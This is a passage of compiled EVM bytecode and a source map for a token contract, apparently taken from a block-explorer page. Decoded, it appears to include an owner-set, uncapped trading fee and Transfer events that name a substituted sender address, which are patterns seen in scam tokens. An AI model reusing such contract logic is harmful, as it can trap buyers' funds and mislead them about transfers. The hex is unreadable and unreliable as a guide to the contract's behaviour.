9073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c8d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb19190611996565b81600181518110610cc557610cc4611a72565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610d3f91906118c4565b64e8d4a51000610d4f919061190e565b610d599190611a15565b5f8430426040518663ffffffff1660e01b8152600401610d7d959493929190611b98565b5f604051808303815f87803b158015610d94575f80fd5b505af1158015610da6573d5f803e3d5ffd5b5050505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064601447610df4919061190e565b610dfe9190611a15565b90811502906040515f60405180830381858888f19350505050158015610e26573d5f803e3d5ffd5b50600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064601447610e71919061190e565b610e7b9190611a15565b90811502906040515f60405180830381858888f19350505050158015610ea3573d5f803e3d5ffd5b5060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064603c47610eee919061190e565b610ef89190611a15565b90811502906040515f60405180830381858888f19350505050158015610f20573d5f803e3d5ffd5b505f600560146101000a81548160ff021916908315150217905550505b5f8060025f0160149054906101000a900460ff1660025f0160159054906101000a900460ff16915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015610fb6575060011515600560159054906101000a900460ff161515145b15611097575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614611018578361101a565b825b60ff1687611028919061190e565b6110329190611a15565b90508086611040919061194f565b95508060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461108e9190611bf0565b92505081905550505b8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110e39190611bf0565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036111c9578573ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516111bc9190611540565b60405180910390a361130f565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036112a85760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161129b9190611540565b60405180910390a361130e565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516113059190611540565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8160025f0160146101000a81548160ff021916908360ff1602179055508060025f0160156101000a81548160ff021916908360ff1602179055505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156113bc5780820151818401526020810190506113a1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113e182611385565b6113eb818561138f565b93506113fb81856020860161139f565b611404816113c7565b840191505092915050565b5f6020820190508181035f83015261142781846113d7565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61145c82611433565b9050919050565b61146c81611452565b8114611476575f80fd5b50565b5f8135905061148781611463565b92915050565b5f819050919050565b61149f8161148d565b81146114a9575f80fd5b50565b5f813590506114ba81611496565b92915050565b5f80604083850312156114d6576114d561142f565b5b5f6114e385828601611479565b92505060206114f4858286016114ac565b9150509250929050565b5f8115159050919050565b611512816114fe565b82525050565b5f60208201905061152b5f830184611509565b92915050565b61153a8161148d565b82525050565b5f6020820190506115535f830184611531565b92915050565b5f805f606084860312156115705761156f61142f565b5b5f61157d86828701611479565b935050602061158e86828701611479565b925050604061159f868287016114ac565b9150509250925092565b5f60ff82169050919050565b6115be816115a9565b82525050565b5f6020820190506115d75f8301846115b5565b92915050565b6115e681611452565b82525050565b5f6060820190506115ff5f8301866115dd565b61160c60208301856115b5565b61161960408301846115b5565b949350505050565b61162a816115a9565b8114611634575f80fd5b50565b5f8135905061164581611621565b92915050565b5f80604083850312156116615761166061142f565b5b5f61166e85828601611637565b925050602061167f85828601611637565b9150509250929050565b5f6020828403121561169e5761169d61142f565b5b5f6116ab84828501611479565b91505092915050565b5f6020820190506116c75f8301846115dd565b92915050565b5f80604083850312156116e3576116e261142f565b5b5f6116f085828601611479565b925050602061170185828601611479565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061174f57607f821691505b6020821081036117625761176161170b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156117ea578086048111156117c6576117c5611768565b5b60018516156117d55780820291505b80810290506117e385611795565b94506117aa565b94509492505050565b5f8261180257600190506118bd565b8161180f575f90506118bd565b8160018114611825576002811461182f5761185e565b60019150506118bd565b60ff84111561184157611840611768565b5b8360020a91508482111561185857611857611768565b5b506118bd565b5060208310610133831016604e8410600b84101617156118935782820a90508381111561188e5761188d611768565b5b6118bd565b6118a084848460016117a1565b925090508184048111156118b7576118b6611768565b5b81810290505b9392505050565b5f6118ce8261148d565b91506118d9836115a9565b92506119067fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117f3565b905092915050565b5f6119188261148d565b91506119238361148d565b92508282026119318161148d565b9150828204841483151761194857611947611768565b5b5092915050565b5f6119598261148d565b91506119648361148d565b925082820390508181111561197c5761197b611768565b5b92915050565b5f8151905061199081611463565b92915050565b5f602082840312156119ab576119aa61142f565b5b5f6119b884828501611982565b91505092915050565b5f6040820190506119d45f8301856115dd565b6119e160208301846115dd565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a1f8261148d565b9150611a2a8361148d565b925082611a3a57611a396119e8565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611acb611ac6611ac184611a9f565b611aa8565b61148d565b9050919050565b611adb81611ab1565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611b1381611452565b82525050565b5f611b248383611b0a565b60208301905092915050565b5f602082019050919050565b5f611b4682611ae1565b611b508185611aeb565b9350611b5b83611afb565b805f5b83811015611b8b578151611b728882611b19565b9750611b7d83611b30565b925050600181019050611b5e565b5085935050505092915050565b5f60a082019050611bab5f830188611531565b611bb86020830187611ad2565b8181036040830152611bca8186611b3c565b9050611bd960608301856115dd565b611be66080830184611531565b9695505050505050565b5f611bfa8261148d565b9150611c058361148d565b9250828201905080821115611c1d57611c1c611768565b5b9291505056fea264697066735822122057e9e70c3a0da6cd88d3a45cb78142943b8e5983173529e578845a8cf0411f2964736f6c63430008160033
Deployed Bytecode
0x6080604052600436106100c5575f3560e01c80635086cac91161007e578063a8aa1b3111610058578063a8aa1b3114610280578063a9059cbb146102aa578063c9567bf9146102e6578063dd62ed3e146102fc576100cc565b80635086cac9146101f257806370a082311461021a57806395d89b4114610256576100cc565b806306fdde03146100d0578063095ea7b3146100fa57806318160ddd1461013657806323b872dd14610160578063313ce5671461019c5780634abe3052146101c6576100cc565b366100cc57005b5f80fd5b3480156100db575f80fd5b506100e4610338565b6040516100f1919061140f565b60405180910390f35b348015610105575f80fd5b50610120600480360381019061011b91906114c0565b6103c7565b60405161012d9190611518565b60405180910390f35b348015610141575f80fd5b5061014a6104b4565b6040516101579190611540565b60405180910390f35b34801561016b575f80fd5b5061018660048036038101906101819190611559565b6104d5565b6040516101939190611518565b60405180910390f35b3480156101a7575f80fd5b506101b0610578565b6040516101bd91906115c4565b60405180910390f35b3480156101d1575f80fd5b506101da61057d565b6040516101e9939291906115ec565b60405180910390f35b3480156101fd575f80fd5b506102186004803603810190610213919061164b565b6105cb565b005b348015610225575f80fd5b50610240600480360381019061023b9190611689565b610645565b60405161024d9190611540565b60405180910390f35b348015610261575f80fd5b5061026a61065a565b604051610277919061140f565b60405180910390f35b34801561028b575f80fd5b506102946106ea565b6040516102a191906116b4565b60405180910390f35b3480156102b5575f80fd5b506102d060048036038101906102cb91906114c0565b61070f565b6040516102dd9190611518565b60405180910390f35b3480156102f1575f80fd5b506102fa610723565b005b348015610307575f80fd5b50610322600480360381019061031d91906116cd565b61095f565b60405161032f9190611540565b60405180910390f35b60605f805461034690611738565b80601f016020809104026020016040519081016040528092919081815260200182805461037290611738565b80156103bd5780601f10610394576101008083540402835291602001916103bd565b820191905f5260205f20905b8154815290600101906020018083116103a057829003601f168201915b5050505050905090565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104a29190611540565b60405180910390a36001905092915050565b6012600a6104c291906118c4565b64e8d4a510006104d2919061190e565b81565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461055d919061194f565b9250508190555061056f84848461097f565b90509392505050565b601281565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690805f0160149054906101000a900460ff1690805f0160159054906101000a900460ff16905083565b6105d361131d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610637576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6106418282611347565b5050565b6003602052805f5260405f205f915090505481565b60606001805461066990611738565b80601f016020809104026020016040519081016040528092919081815260200182805461069590611738565b80156106e05780601f106106b7576101008083540402835291602001916106e0565b820191905f5260205f20905b8154815290600101906020018083116106c357829003601f168201915b5050505050905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61071b33848461097f565b905092915050565b61072b61131d565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610761575f80fd5b600560159054906101000a900460ff161561077a575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fc9190611996565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108809190611996565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b81526004016108be9291906119c1565b602060405180830381865afa1580156108d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fd9190611996565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560156101000a81548160ff021916908315150217905550505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f8061098961131d565b9050600560159054906101000a900460ff16806109d157508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610a0757508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610a0f575f80fd5b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a5b919061194f565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610acb5750600560149054906101000a900460ff16155b8015610b3d575060646012600a610ae291906118c4565b64e8d4a51000610af2919061190e565b610afc9190611a15565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610b7557508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610f3d576001600560146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610bb157610bb0611a45565b5b604051908082528060200260200182016040528015610bdf5781602001602082028036833780820191505090505b50905030815f81518110610bf657610bf5611a72565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c8d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb19190611996565b81600181518110610cc557610cc4611a72565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610d3f91906118c4565b64e8d4a51000610d4f919061190e565b610d599190611a15565b5f8430426040518663ffffffff1660e01b8152600401610d7d959493929190611b98565b5f604051808303815f87803b158015610d94575f80fd5b505af1158015610da6573d5f803e3d5ffd5b5050505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064601447610df4919061190e565b610dfe9190611a15565b90811502906040515f60405180830381858888f19350505050158015610e26573d5f803e3d5ffd5b50600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064601447610e71919061190e565b610e7b9190611a15565b90811502906040515f60405180830381858888f19350505050158015610ea3573d5f803e3d5ffd5b5060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064603c47610eee919061190e565b610ef89190611a15565b90811502906040515f60405180830381858888f19350505050158015610f20573d5f803e3d5ffd5b505f600560146101000a81548160ff021916908315150217905550505b5f8060025f0160149054906101000a900460ff1660025f0160159054906101000a900460ff16915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015610fb6575060011515600560159054906101000a900460ff161515145b15611097575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614611018578361101a565b825b60ff1687611028919061190e565b6110329190611a15565b90508086611040919061194f565b95508060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461108e9190611bf0565b92505081905550505b8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110e39190611bf0565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036111c9578573ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516111bc9190611540565b60405180910390a361130f565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036112a85760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161129b9190611540565b60405180910390a361130e565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516113059190611540565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8160025f0160146101000a81548160ff021916908360ff1602179055508060025f0160156101000a81548160ff021916908360ff1602179055505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156113bc5780820151818401526020810190506113a1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113e182611385565b6113eb818561138f565b93506113fb81856020860161139f565b611404816113c7565b840191505092915050565b5f6020820190508181035f83015261142781846113d7565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61145c82611433565b9050919050565b61146c81611452565b8114611476575f80fd5b50565b5f8135905061148781611463565b92915050565b5f819050919050565b61149f8161148d565b81146114a9575f80fd5b50565b5f813590506114ba81611496565b92915050565b5f80604083850312156114d6576114d561142f565b5b5f6114e385828601611479565b92505060206114f4858286016114ac565b9150509250929050565b5f8115159050919050565b611512816114fe565b82525050565b5f60208201905061152b5f830184611509565b92915050565b61153a8161148d565b82525050565b5f6020820190506115535f830184611531565b92915050565b5f805f606084860312156115705761156f61142f565b5b5f61157d86828701611479565b935050602061158e86828701611479565b925050604061159f868287016114ac565b9150509250925092565b5f60ff82169050919050565b6115be816115a9565b82525050565b5f6020820190506115d75f8301846115b5565b92915050565b6115e681611452565b82525050565b5f6060820190506115ff5f8301866115dd565b61160c60208301856115b5565b61161960408301846115b5565b949350505050565b61162a816115a9565b8114611634575f80fd5b50565b5f8135905061164581611621565b92915050565b5f80604083850312156116615761166061142f565b5b5f61166e85828601611637565b925050602061167f85828601611637565b9150509250929050565b5f6020828403121561169e5761169d61142f565b5b5f6116ab84828501611479565b91505092915050565b5f6020820190506116c75f8301846115dd565b92915050565b5f80604083850312156116e3576116e261142f565b5b5f6116f085828601611479565b925050602061170185828601611479565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061174f57607f821691505b6020821081036117625761176161170b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156117ea578086048111156117c6576117c5611768565b5b60018516156117d55780820291505b80810290506117e385611795565b94506117aa565b94509492505050565b5f8261180257600190506118bd565b8161180f575f90506118bd565b8160018114611825576002811461182f5761185e565b60019150506118bd565b60ff84111561184157611840611768565b5b8360020a91508482111561185857611857611768565b5b506118bd565b5060208310610133831016604e8410600b84101617156118935782820a90508381111561188e5761188d611768565b5b6118bd565b6118a084848460016117a1565b925090508184048111156118b7576118b6611768565b5b81810290505b9392505050565b5f6118ce8261148d565b91506118d9836115a9565b92506119067fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117f3565b905092915050565b5f6119188261148d565b91506119238361148d565b92508282026119318161148d565b9150828204841483151761194857611947611768565b5b5092915050565b5f6119598261148d565b91506119648361148d565b925082820390508181111561197c5761197b611768565b5b92915050565b5f8151905061199081611463565b92915050565b5f602082840312156119ab576119aa61142f565b5b5f6119b884828501611982565b91505092915050565b5f6040820190506119d45f8301856115dd565b6119e160208301846115dd565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a1f8261148d565b9150611a2a8361148d565b925082611a3a57611a396119e8565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611acb611ac6611ac184611a9f565b611aa8565b61148d565b9050919050565b611adb81611ab1565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611b1381611452565b82525050565b5f611b248383611b0a565b60208301905092915050565b5f602082019050919050565b5f611b4682611ae1565b611b508185611aeb565b9350611b5b83611afb565b805f5b83811015611b8b578151611b728882611b19565b9750611b7d83611b30565b925050600181019050611b5e565b5085935050505092915050565b5f60a082019050611bab5f830188611531565b611bb86020830187611ad2565b8181036040830152611bca8186611b3c565b9050611bd960608301856115dd565b611be66080830184611531565b9695505050505050565b5f611bfa8261148d565b9150611c058361148d565b9250828201905080821115611c1d57611c1c611768565b5b9291505056fea264697066735822122057e9e70c3a0da6cd88d3a45cb78142943b8e5983173529e578845a8cf0411f2964736f6c63430008160033
Deployed Bytecode Sourcemap
767:5732:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4169:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3817:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;927:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3586:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;885:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1009:26;;;;;;;;;;;;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;2743:177;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1326:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4268:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1450:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4032:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3203:375;;;;;;;;;;;;;:::i;:::-;;1377:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4169:91;4214:13;4247:5;4240:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4169:91;:::o;3817:207::-;3885:4;3935:6;3902:9;:21;3912:10;3902:21;;;;;;;;;;;;;;;:30;3924:7;3902:30;;;;;;;;;;;;;;;:39;;;;3978:7;3957:37;;3966:10;3957:37;;;3987:6;3957:37;;;;;;:::i;:::-;;;;;;;;4012:4;4005:11;;3817:207;;;;:::o;927:73::-;918:2;986;:14;;;;:::i;:::-;965:17;:35;;;;:::i;:::-;927:73;:::o;3586:223::-;3702:4;3750:6;3719:9;:15;3729:4;3719:15;;;;;;;;;;;;;;;:27;3735:10;3719:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;3774:27;3784:4;3790:2;3794:6;3774:9;:27::i;:::-;3767:34;;3586:223;;;;;:::o;885:35::-;918:2;885:35;:::o;1009:26::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2743:177::-;2820:29;:27;:29::i;:::-;2806:43;;:10;:43;;;2802:69;;2858:13;;;;;;;;;;;;;;2802:69;2882:30;2907:1;2910;2882:24;:30::i;:::-;2743:177;;:::o;1326:44::-;;;;;;;;;;;;;;;;;:::o;4268:95::-;4315:13;4348:7;4341:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4268:95;:::o;1450:19::-;;;;;;;;;;;;;:::o;4032:129::-;4096:4;4120:33;4130:10;4142:2;4146:6;4120:9;:33::i;:::-;4113:40;;4032:129;;;;:::o;3203:375::-;3268:29;:27;:29::i;:::-;3254:43;;:10;:43;;;3246:52;;;;;;3318:11;;;;;;;;;;;3317:12;3309:21;;;;;;3341:16;1542:42;3360:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3341:45;;3397:13;1542:42;3413:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3397:39;;3447:13;3479:8;3463:33;;;3505:4;3512:5;3463:55;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3447:71;;3536:5;3529:4;;:12;;;;;;;;;;;;;;;;;;3566:4;3552:11;;:18;;;;;;;;;;;;;;;;;;3235:343;;;3203:375::o;1377:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4520:1976::-;4633:4;4650:16;4669:29;:27;:29::i;:::-;4650:48;;4717:11;;;;;;;;;;;:31;;;;4740:8;4732:16;;:4;:16;;;4717:31;:49;;;;4758:8;4752:14;;:2;:14;;;4717:49;4709:58;;;;;;4799:6;4780:9;:15;4790:4;4780:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;4842:4;;;;;;;;;;;4836:10;;:2;:10;;;:36;;;;;4864:8;;;;;;;;;;;4863:9;4836:36;:91;;;;;1086:3;918:2;986;:14;;;;:::i;:::-;965:17;:35;;;;:::i;:::-;1072:17;;;;:::i;:::-;4889:9;:24;4907:4;4889:24;;;;;;;;;;;;;;;;:38;;4836:91;:124;;;;;4952:8;4944:16;;:4;:16;;;;4836:124;4818:987;;;4998:4;4987:8;;:15;;;;;;;;;;;;;;;;;;5017:21;5055:1;5041:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5017:40;;5090:4;5072;5077:1;5072:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;1542:42;5120:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5110:4;5115:1;5110:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;1542:42;5158:88;;;1086:3;918:2;986;:14;;;;:::i;:::-;965:17;:35;;;;:::i;:::-;1072:17;;;;:::i;:::-;5302:1;5326:4;5361;5389:15;5158:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5448:14;;;;;;;;;;;5440:32;;:100;5522:3;5516:2;5492:21;:26;;;;:::i;:::-;5491:34;;;;:::i;:::-;5440:100;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5563:14;;;;;;;;;;;5555:32;;:100;5637:3;5631:2;5607:21;:26;;;;:::i;:::-;5606:34;;;;:::i;:::-;5555:100;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5678:4;;;;;;;;;;;5670:22;;:90;5742:3;5736:2;5712:21;:26;;;;:::i;:::-;5711:34;;;;:::i;:::-;5670:90;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5788:5;5777:8;;:16;;;;;;;;;;;;;;;;;;4972:833;4818:987;5818:13;5833:14;5852:9;:16;;;;;;;;;;;;5870:9;:17;;;;;;;;;;;;5817:71;;;;5919:4;5903:21;;:4;:21;;;;:44;;;;;5943:4;5928:19;;:11;;;;;;;;;;;:19;;;5903:44;5899:280;;;5964:27;6058:3;6028:4;;;;;;;;;;;6022:10;;:2;:10;;;:31;;6046:7;6022:31;;;6035:8;6022:31;5995:59;;:6;:59;;;;:::i;:::-;5994:67;;;;:::i;:::-;5964:97;;6086:19;6076:29;;;;;:::i;:::-;;;6148:19;6120:9;:24;6138:4;6120:24;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;5949:230;5899:280;6206:6;6189:9;:13;6199:2;6189:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;6237:9;;;;;;;;;;;6229:17;;:4;:17;;;6225:242;;6288:2;6268:31;;6277:9;;;;;;;;;;;6268:31;;;6292:6;6268:31;;;;;;:::i;:::-;;;;;;;;6225:242;;;6327:9;;;;;;;;;;;6321:15;;:2;:15;;;6317:150;;6373:9;;;;;;;;;;;6358:33;;6367:4;6358:33;;;6384:6;6358:33;;;;;;:::i;:::-;;;;;;;;6317:150;;;6444:2;6429:26;;6438:4;6429:26;;;6448:6;6429:26;;;;;;:::i;:::-;;;;;;;;6317:150;6225:242;6484:4;6477:11;;;;;4520:1976;;;;;:::o;3081:114::-;3142:7;3169:9;:18;;;;;;;;;;;;3162